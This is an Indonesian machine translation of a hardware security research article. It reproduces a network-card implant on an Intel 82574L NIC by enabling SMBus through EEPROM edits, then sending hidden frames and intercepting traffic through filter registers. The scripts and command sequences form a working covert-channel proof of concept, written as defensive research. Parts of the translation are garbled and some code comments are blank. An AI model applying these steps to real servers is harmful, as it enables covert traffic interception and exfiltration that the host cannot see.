
Kisah dari
Bloomberg bahwa beberapa implan diduga dipasang di motherboard [orang
Cina menggunakan microchip untuk mengendalikan komputer Amerika ] tidak luput dari perhatian. Setelah itu, banyak orang berbagi ide tentang kemungkinan membuat implan tersebut (perkiraan ukuran, kemampuan atau metode pendeteksian).
Beberapa hari kemudian, majalah
Bloomberg menerbitkan sebuah artikel dengan bukti tambahan. Inilah yang secara khusus memicu minat kami:
Server hukum mengirim pesan dalam satu cara, implan di sisi lain, tetapi tampaknya semua lalu lintas berasal dari satu server tepercaya.
Ada cara untuk berinteraksi dengan kartu jaringan langsung dari motherboard. Beberapa orang mengindikasikan bahwa Anda dapat bermain dengan BMC (Baseboard Management Controller - komponen yang memungkinkan akses ke server selain saluran utama), yang akan memungkinkan implan mengontrol BMC dan mendapatkan akses ke kartu jaringan. Tetapi bagaimana cara kerjanya dalam praktiknya? Mari kita lihat apakah kita bisa mereproduksi ini.
Posisi awal
Mari kita lihat kemungkinan antarmuka antara NIC (
kartu jaringan ) dan BMC. Salah satu protokol utama untuk bekerja pada saluran khusus adalah antarmuka manajemen platform IPMI yang cerdas.
IPMI
Wikipedia mengatakan IPMI adalah "antarmuka manajemen platform cerdas yang dirancang untuk secara otonom memantau dan mengelola fitur yang dibangun langsung ke perangkat keras dan firmware platform server. Fitur utama IPMI adalah pemantauan, mengembalikan fungsi manajemen, pencatatan dan inventaris, yang tersedia secara terpisah dari prosesor, BIOS, dan sistem operasi. Fitur manajemen platform mungkin tersedia bahkan ketika sistem dimatikan. " Sangat mirip dengan yang kita butuhkan.
Diagram alur berikut menunjukkan kemungkinan jalur implementasi proyek:

IPMI sebenarnya mendefinisikan dua saluran Sideband untuk NIC: SMBus dan NC-SI. NC-SI adalah pengganti SMBus yang canggih yang mendukung peningkatan kecepatan transfer data dan fitur-fitur baru lainnya. Masalahnya adalah dia membutuhkan lebih banyak sinyal (sekitar 10), dan jauh lebih sulit untuk campur tangan dalam pekerjaannya ketika kita bekerja dengan implan. Jadi untuk sekarang, mari kita membahas SMBus.
SMBus
SMBus (System Management Bus) adalah protokol komunikasi serial untuk perangkat daya. Bus dua kawat sederhana satu sisi yang menyediakan komunikasi yang tidak rumit. Paling sering digunakan di komputer untuk menghubungkan motherboard dengan sumber daya dan mengirim instruksi on / off. Berdasarkan bus
I 2 C , umumnya digunakan dalam mikrokontroler. Antarmuka hanya membutuhkan dua sinyal (frekuensi jam dan data), dan sinyal ketiga adalah interupsi. Sempurna untuk protokol game implan.
Kontak pertama
Anda harus pintar, tidak memiliki akses ke motherboard dengan BMC. Mempelajari karakteristik teknis dari motherboard server, kami menemukan bahwa beberapa dari mereka menggunakan chip
Intel 82574L . Itu, menurut
dokumentasi , menyediakan "SMBus advanced pass-through interface" - hanya apa yang Anda butuhkan. Dan yang terbaik, itu datang dalam format kartu PCI-E.
Akses SMBus
Kami pergi ke toko, dan sekarang kami memiliki kartu
Intel EXPI9301CTBLK dengan chip 82574L. Apa sekarang?
Dokumentasi dapat melacak SMB_DAT dan SMB_ALRT_N. Untungnya, semuanya ternyata tersedia di bantalan kontak. Segalanya tampak cukup mudah.
NIC PCB. Kiri atas - EEPROM, konektor kanan atas untuk SMBus [ALRT | CLK | DAT]. Harap dicatat bahwa R39 dan R40 dimatikan, yang melarang akses ke SMBus untuk konektor PCIe.Kami menghubungkan
probe I 2 C dan memindai SMBus, tetapi tidak menghitung apa pun yang berguna. Dokumentasi mengatakan bahwa SMBus hanya diaktifkan ketika register bit tertentu diatur. Nilai ini diambil dari EEPROM. Saatnya menggali lebih dalam.
Aktifkan akses ke SMBus
Dokumentasi membantu kami lagi. Akses ke SMBus ditentukan oleh nilai register yang dimuat dari NIC EEPROM. Untungnya, EEPROM dapat dibaca dengan flashrom. Dengan membuang konten EEPROM, kami dapat menganalisis dan mengubah nilai:
> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.
Dilihat oleh peta NVM (bab 6.1 dari dokumentasi), jelas bahwa kita perlu mengubah dua nilai:
- Init Control Word 2 [MNGM] (Lembar Data bab 6.1.1.6)
- Kompatibilitas [ASF SMBus Connected] (Lembar Data bab 6.1.2.1.1)
- Kompatibilitas [SMBus Connected] (Lembar Data bab 6.1.2.1.1)
Hanya perlu untuk mempertimbangkan bahwa dalam data EEPROM disimpan dalam format endian kecil.
Setelah itu, kita masih harus berurusan dengan nilai Checksum. Bab 6.1.2.11 menyatakan bahwa jumlah semua kata dalam rentang [0x00-0x40] harus 0xBABA. Sedikit Python akan membantu kami menghitung checksum yang benar:
import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff
print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb
Dan akhirnya, semua perubahan kami untuk EEPROM:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.
< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....
Setelah melakukan perubahan dan mem-flash EEPROM, kami menghubungkan probe I
2 C dan:
i2c1> scan
Device found at address 0x49
i2c1>
Alamat I
2 C dikodekan dalam tujuh bit, alamat yang kami butuhkan diperoleh sebagai 0x49 << 1 = 0x92.
Sekarang kami memiliki diagram kerja untuk implan kami. Kami dapat mengirim perintah ke NIC:

Menerima informasi
Seperti yang mungkin sudah Anda duga, kami terus membaca dokumentasi dan mengirim perintah yang disiapkan khusus untuk NIC untuk memverifikasi bahwa semuanya berjalan seperti yang diharapkan.
Dokumentasi menjelaskan semua yang perlu Anda ketahui tentang format transaksi di bab 8.4.4. Satu-satunya perbedaan adalah bahwa kita tidak perlu menghitung PEC (checksum untuk SMBus, yang dihitung untuk setiap paket). Sebagai contoh, kita dapat mengirim perintah CMD ke alamat
SLAVE menggunakan urutan berikut:
[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[MULAI] dan [BERHENTI] adalah kondisi MULAI dan BERHENTI yang ditentukan oleh I
2 C.
Misalnya, perintah untuk membaca alamat MAC (dijelaskan dalam bab 8.8.2.3) adalah 0xD4. Kami mengirim perintah ke SMBus dalam mode I
2 C:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
Ketika ditransfer ke tim Hydrabus, ini akan menjadi:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP
Dan, ya, kami mendapatkan alamat MAC kami!
Membuat implan
Sekarang, mengetahui bagaimana Anda dapat berkomunikasi dengan NIC, mari kita lihat bagaimana Anda dapat menggunakan saluran ini untuk mencuri lalu lintas jaringan dan mengirim data melalui jaringan. Bab 8 dari dokumentasi menjelaskan semua yang perlu Anda lakukan ini.
Mengirim paket
Dijelaskan dalam bab 8.6 dan 8.8.1. Kita cukup membuat frame Ethernet menggunakan perintah. Berikut ini contoh skrip untuk
Hydrabus atau
Bus Pirate untuk mengirim paket:
import serial
import struct
from scapy.all import *
ser = serial.Serial('/dev/ttyACM0',115200)
def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))
# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)
# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)
# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()
# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()
# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()
#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()
#Send the frame
send_frame(str(p))
# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')
Setelah menjalankan skrip, Anda dapat melihat paket yang berasal dari mesin dengan implan, dan, yang paling menarik, server itu sendiri tidak melihat paket ini sama sekali:
Tcpdump dari mesin penyerang di sebelah kiri, server di sebelah kananPaket membaca
Penyaringan
Untuk mengetahui frame mana yang harus digunakan untuk SMBus, NIC menggunakan filter kontrol. Mereka memetakan lalu lintas dari jaringan, dan mengarahkannya ke PCIe, atau ke SMBus, atau keduanya di sana dan di sana. Dari sudut pandang kami, ini memberi kami fleksibilitas besar:
- Anda dapat melacak lalu lintas dengan menetapkan filter yang akan memindai dan mengarahkannya ke PCIe dan SMBus.
- Anda dapat menghilangkan lalu lintas dengan mengarahkannya ke SMBus saja.
- Anda dapat membuat saluran tersembunyi yang tidak akan terlihat oleh server dengan implan.
Yang paling menarik, filter dapat dikonfigurasi untuk melacak berbagai elemen bingkai:
- Port UDP / TCP
- VLAN
- IPv4 - IPv6
- Alamat MAC
- ...
(Untuk daftar lengkap, lihat bab 8.4.2.1)
Tujuh filter MDEF independen [0: 6] tersedia, dan masing-masingnya dapat dikonfigurasi untuk mengarahkan lalu lintas yang sesuai ke PCIe melalui SMBus menggunakan register MANC2H (untuk perinciannya, lihat Bagian 8.4.3).
Implementasi
Ternyata cukup sulit untuk mengatur semuanya dengan benar, kami mencoba banyak kombinasi berbeda untuk membuat filter bekerja. Untungnya,
catatan pada
aplikasi Intel memberi kami rincian lebih lanjut tentang cara menjalankan filter seperti yang kita butuhkan.
Menggunakan probe I
2 C kami, kami dapat mengonfigurasi semua ini dengan empat perintah:
//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Seperti yang dijelaskan dalam bab 8.8.1.3, perlu untuk mengatur beberapa bit untuk memungkinkan penerimaan data dan mengirim frame kembali ke implan kami. Kami memilih SMBus lansiran karena model lain memungkinkan kartu jaringan untuk membuat permintaan asinkron ke SMBus (untuk detail, lihat bab 8.4.5).
Bingkai membaca
Karena kami menggunakan metode peringatan SMBus, kami harus berharap sinyal SMB_ALRT_N dimatikan sebelum mengirim perintah Terima Paket TCO. Jika kami menunggu terlalu lama, paket itu akan ditolak oleh NIC.
Untuk hanya menggambarkan diagram, kami akan mengirim bingkai secara berkala dan mengirim perintah baca - hanya untuk mengonfirmasi bahwa prinsip ini berfungsi. Skemanya terlihat seperti ini:
- Server dengan implan memiliki filter yang memantau lalu lintas dengan UDP / 623 (bab 3.6.1.2).
- Implan disimulasikan menggunakan Hydrabus.
- Server lain mengirimkan paket yang termasuk dalam filter menggunakan skrip Scapy:
from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)
Ternyata sesuatu yang menarik:

Di sebelah kiri, SMBus membaca frame, data frame ditunjukkan di bawah ini. Di sebelah kanan, tcpdump, berjalan pada server dengan implan, tidak menampilkan bingkai yang masuk.
Frame Relay
Dengan mengubah register MANC2H, dimungkinkan untuk memastikan bahwa lalu lintas yang dikirim ke SMBus dan PCIe ditampilkan dengan benar di server. Misalnya, mari kita buat filter intersepsi yang merespons lalu lintas UDP / 161 (SNMP) dan mengirimkannya ke SMBus dan PCIe:
//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Dengan mengaktifkan filter, kami dapat mengirim permintaan SNMP ke server dengan implan dan melihat paket yang mencegat implan. Pada saat yang sama, server menanggapi permintaan - yang berarti bahwa paket diarahkan dengan benar ke SMBus dan PCIe:
Di atas adalah permintaan SNMP dicegat dari implan. Bawah - permintaan SNMP mencapai server.Kesimpulan
Kami menggambarkan metode yang mungkin untuk memperkenalkan mikrokontroler kecil dan murah sebagai implan di tingkat NIC. Implan seperti itu membutuhkan setidaknya empat kontak (Vcc, GND, CLK, DAT), dan dapat mengontrol kartu server. Di antara fitur-fiturnya:
- Mendengarkan lalu lintas jaringan yang masuk ke server.
- Menerima perintah dari jaringan tanpa sepengetahuan server.
- Transmisi data melalui jaringan tanpa sepengetahuan server.
Dalam contoh kami, untuk kesederhanaan, Hydrabus digunakan sebagai antarmuka untuk I
2 C / SMBus, tetapi ini dapat dilakukan dengan mudah pada mikrokontroler kecil, misalnya, ATtiny85 (ini seukuran EEPROM untuk NIC).
Namun, dalam kehidupan nyata, akses ke implan seperti itu hanya untuk SMBus. Bergantung pada skema motherboard, perangkat ini mungkin satu-satunya yang tersedia, dan kemudian interaksi dengan OS server tidak mungkin dilakukan. Dalam kasus ketika kontrol penuh atas OS diperlukan, yang terbaik adalah mengubah kode BMC, karena sudah memiliki akses ke semua bus yang menarik, dan itu tidak meninggalkan jejak yang terlihat pada motherboard.
Kerugian lain dari implan tersebut adalah dapat mentransmisikan data pada kecepatan urutan 100 Kb / s, yang tidak cukup untuk studi lalu lintas yang lengkap. Selain itu, implan hanya dapat mencegat lalu lintas yang datang dari jaringan. Akibatnya, solusi ini tampaknya tidak efektif dibandingkan dengan upaya yang diperlukan untuk penerapannya pada peralatan target.